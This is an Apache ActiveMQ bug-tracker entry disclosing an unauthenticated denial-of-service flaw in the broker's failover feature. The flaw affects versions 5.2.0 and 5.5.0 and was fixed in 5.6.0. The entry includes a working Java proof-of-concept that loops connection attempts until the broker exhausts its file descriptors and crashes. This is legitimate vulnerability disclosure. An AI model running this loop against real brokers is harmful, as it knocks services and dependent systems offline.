[AMQ-3294] ActiveMQ failover Denial of Service

• Type: Bug
• Status: Resolved
• Priority: Major
• Resolution: Fixed
• Affects Version/s: 5.2.0, 5.5.0
• Fix Version/s: 5.6.0
• Component/s: Broker
• Labels: security

Environment

Linux ubuntu 2.6.32-30-generic and other Linux versions

• Assignee: Robert Davies
• Reporter: Luca Carettoni
• Created: 22/Apr/11 18:44
• Updated: 02/Dec/11 21:37
• Resolved: 02/Dec/11 21:37

Description

Abusing the 'failover' feature in ActiveMQ, an unauthenticated user can trigger a Denial of Service condition against the broker service.

In detail, an attacker can issue multiple ActiveMQ openwire connection requests using the following connection string: 
failover:tcp://<IP>:61616

Due to the 'failure' mechanism, all TCP connections remain active even if a valid session is not created.
Please note that no valid credentials have been used.

After a few thousand requests, a "java.net.SocketException: Too many open files" exception is triggered causing the freeze/crash of the broker. Connected systems may crash as well.

During my test, the attack took around 4 minutes (in a local network) and it is highly reliable. This is most likely an abuse of the 'failover' functionality.

I've been testing version 5.2.0 and also the latest 5.5.0 release. As both releases are affected, I assume that this issue is present in other versions as well. The problem appears in the default configuration as well as with different authentication plugins enabled.

Proof-Of-Concept:

--------------------
package openwireclient;

import javax.jms.*;
import org.apache.activemq.ActiveMQConnectionFactory;

public class GoAndCrash {

private static String url = "failover:tcp://";

public static void main(String[] args) throws JMSException {

System.out.println("\n--[ ActiveMQ Denial of Service PoC ]\n");

url = url.concat(args[0] + ":" + args[1]);
int cont = 0;

while (true) {
try

{ System.out.println("[*] Request #" + cont); ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("invalidUser", "invalidPass", url); Connection connection = connectionFactory.createConnection(); cont++; connection.start(); }

catch (Exception ex)

{ //do nothing }

}
}
}
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